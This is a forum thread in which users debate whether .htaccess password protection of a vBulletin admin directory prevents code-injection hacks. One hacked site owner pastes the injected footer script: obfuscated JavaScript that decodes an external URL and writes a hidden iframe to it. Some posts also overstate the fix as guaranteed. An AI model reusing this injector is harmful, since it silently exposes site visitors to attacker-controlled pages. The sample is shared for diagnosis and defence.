How was I hacked?

[Jump]

i dont use htaccess to protect directories on any sites i run, i've never had one site hacked i have ran in the last 9 yrs ive used vbulletin.

So there you have it, you are stating a opinion and not a fact on .htaccess files, whereas they have worked for me 100% many times over. So what is your point, an opinion? Your opinion is not valid for these facts and testing on htaccess files.

I have had malicious code injected if you want to call that hacked. You said you never had a site hacked, well I have, and I know what fixed and prevented the problem from ever happening again.

The malicious code was never able to be injected again, after installing and using the .htaccess and .htpasswd files.

[snakes1100]

So there you have it, you are stating a opinion and not a fact on .htaccess files, whereas they have worked for me 100% many times over. So what is your point, an opinion? Your opinion is not valid for these facts and testing on htaccess files.

I have had malicious code injected if you want to call that hacked. You said you never had a site hacked, well I have, and I know what fixed and prevented the problem from ever happening again.

The malicious code was never able to be injected again, after installing and using the .htaccess and .htpasswd files.

I never stated anything to that effect that htaccess protecting a folder isnt a good idea, you simply don't read what ive been trying to tell you, thats unfortunate and is why you will be hacked or injected again.

the htaccess file didn't fix the problem either.

[Jump]

Well it sure seemed like it.

It sure did fix the problem for almost one year now.

Thanks for finally clearing up that .htaccess files can protect the ADMINCP directory.

[snakes1100]

Well it sure seemed like it.

It sure did fix the problem for almost one year now.

Thanks for finally clearing up that .htaccess files can protect the ADMINCP directory.

Your funny...

No, it didnt fix it, it merely masked the real issue, the point ive been trying to make to you all along.

[Jump]

Exactly!!!

Masked the problem!

Deny access to all!

Why would you not want protection from malicious code injection?

Your funny!

You don't make any sense, masking the problem fixes it by denying access to exploit.

There is more than one way to skin a cat.

What is your way fixing it?

You have failed to explain the procedures on how to fix this guys problem. Whereas I have provide information and instruction on how to prevent this from happening again, and it works, guaranteed.

What have you guaranteed?.... a bunch of confusing words that do not help anyone at all.

[snakes1100]

No it doesnt, its ok, i wont argue with you anymore about it, your still missing the point and is why you was hacked in the first place.

[Jump]

Yes I was hacked, but this definitely worked and it only cost me a few hours, and few days until I figured how to construct the .htaccess files properly by doing mass research on the subject.

Can we be friends now?

[snakes1100]

I didnt know we wasnt...

Im apologize if i upset you, with what i was trying to tell you.

[Jump]

Same here, sorry if I upset you also. We both seem to have different approaches here. Thanks for the PM.

[Joe D.]

While I agree using password via .htacess isn't the same as plugging the hole, it seems prudent to use the password anyway- even if I let the browser remember the login credentials so it's not annoying to login twice, it's another layer to help foil would-be hackers.

[Jump]

I don't mind logging in twice....since it stopped the malicious code injections, I would log in 3, 4, or 5 different times if I had to.
As long as the layer of protections work like it did for me.

[Joe D.]

While I can see the preference to put in your password each time there is something to be said for saving it as well... as keylogging software becomes more widespread the act of typing in the username and password itself becomes a vulnerability... I don't know if they stopped it yet but a month ago the site www.pastebin.com was being flooded with raw username and password logs being pulled direct from keylogging viruses- there were thousands of various website accounts listed for anyone to use... Website URL | Username : Password- Most were facebook accounts but I saw first hand some cpanel logins as well as everything else that use usernames and passwords.

[Zachery]

One of my sites was hacked last week and then again the other day.

I was running vB 3.8.4 at the time and I've managed to upgrade to vB 3.8.5 now, which I'm hoping has plugged the hole.

However, I thought it would be prudent to verify that this was a vulnerability in 3.8.4 and not a problem with something else on my site.

The hacker was able to insert some code into the footer template on my site to execute some JavaScript which added a hidden iframe directed to an external site.

<script type="text/javascript">
<!--
// Main vBulletin Javascript Initialization
vBulletin_init();
var x = unescape("%68%74%74%70%3a%2f%2f%6e%65%6f%6e%73%74%61%74%2e%68%6d%73%69%74%65%2e%6e%65%74%2f%73%74%61%74");document.write("<i"+"fr"+"am"+"e s"+"r"+"c=\""+x+"/ind"+"e"+"x.p"+"hp\" w"+"id"+"th=\"0\" he"+"i"+"ght=\"0\" fr"+"a"+"m"+"ebor"+"de"+"r=\"0\"><"+"/ifra"+"m"+"e>");
//-->
</script>

Is this a known exploit in the base v3.8.4 vBulletin code?

How is it that the attacker was able to update the database to insert this code into the footer template?

If I can understand the attack vector, I stand a better chance of identifying any other weaknesses on my site.

If someone gained access to your admincp, its over. They can do anything they want more or less.
If you protect your admincp, this adds another layer of security.

If someone gains access to your database/server, you're screwed regardless, they have full access.

You're only as strong as the weakest link.

[Jump]

While I can see the preference to put in your password each time there is something to be said for saving it as well... as keylogging software becomes more widespread the act of typing in the username and password itself becomes a vulnerability... I don't know if they stopped it yet but a month ago the site www.pastebin.com was being flooded with raw username and password logs being pulled direct from keylogging viruses- there were thousands of various website accounts listed for anyone to use... Website URL | Username : Password- Most were facebook accounts but I saw first hand some cpanel logins as well as everything else that use usernames and passwords.

BOP, when creating the .htaccess file, you also use a .htpasswd file and encrypt the password. http://www.htaccesstools.com/htpasswd-generator/

Zachery, yes, we are only as strong as the weakest link! That is what I have been trying to say about simply using an extra layer of protection with .htaccess and .htpasswd files. Some people here do not even know how powerful these files are. They completely restrict anyone from accessing the admincp, includes, install, or whatever directory you choose to drop them in.

I don't see why anyone with a forum would not create an .htaccess file and an encrypted .htpasswd file, and drop them into the admincp directory, since this is the main target of most hackers and automated bot hackers.

[kmike]

the admincp directory, since this is the main target of most hackers and automated bot hackers.

Do you have any proof for the highlighted statement? A citation would be fine.